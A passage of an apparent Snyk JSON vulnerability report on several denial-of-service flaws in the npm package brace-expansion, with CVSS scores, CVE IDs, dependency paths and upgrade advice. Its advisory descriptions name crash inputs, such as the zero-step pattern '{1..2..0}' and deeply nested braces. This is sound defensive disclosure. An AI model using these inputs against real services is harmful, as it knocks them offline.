"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
